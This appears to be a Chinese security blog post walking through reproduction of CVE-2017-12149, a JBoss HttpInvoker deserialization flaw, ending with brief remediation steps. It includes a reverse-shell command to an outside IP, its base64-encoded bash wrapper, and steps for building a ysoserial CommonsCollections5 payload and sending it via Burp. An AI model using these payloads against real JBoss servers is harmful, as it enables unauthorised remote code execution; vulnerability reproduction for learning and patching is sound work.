JBoss HttpInvoker组件反序列化漏洞复现(CVE-2017-12149)

影响范围

5.x和6.x版本的JBOSS

基本原理

该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码

利用条件

  1. invoker/readonly接口未做限制或过滤(一般该路径回显500)

漏洞地址

http://your-ip:8080/invoker/readonly

漏洞利用

  1. 访问http://your-ip:8080/invoker/readonly,网页回显500
    JBoss HttpInvoker组件反序列化漏洞复现(CVE-2017-12149)_第1张图片

  2. 由于Runtime.getRuntime().exec()中不能使用管道符,因此反弹shell命令需要编码,工具:http://www.jackson-t.ca/runtime-exec-payloads.html,命令:bash -i >& /dev/tcp/192.168.3.105/4444 0>&1
    格式:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTMzMyAwPiYxCg==}|{base64,-d}|{bash,-i}
    JBoss HttpInvoker组件反序列化漏洞复现(CVE-2017-12149)_第2张图片

  3. 使用ysoserial的CommonsCollections5 gadget来生成序列化数据,序列化数据包含刚刚base64编码生成的反弹shell命令,生成poc.ser文件
    在这里插入图片描述

  4. bp必须邮件从poc.ser中粘贴序列化内容,否则如果手动通过notepad这种粘贴,会收换行符影响。
    JBoss HttpInvoker组件反序列化漏洞复现(CVE-2017-12149)_第3张图片

  5. 放行请求包后,即成功反弹shell
    JBoss HttpInvoker组件反序列化漏洞复现(CVE-2017-12149)_第4张图片
    JBoss HttpInvoker组件反序列化漏洞复现(CVE-2017-12149)_第5张图片

漏洞修复

  1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。
  2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。

你可能感兴趣的:(渗透测试,安全,安全漏洞)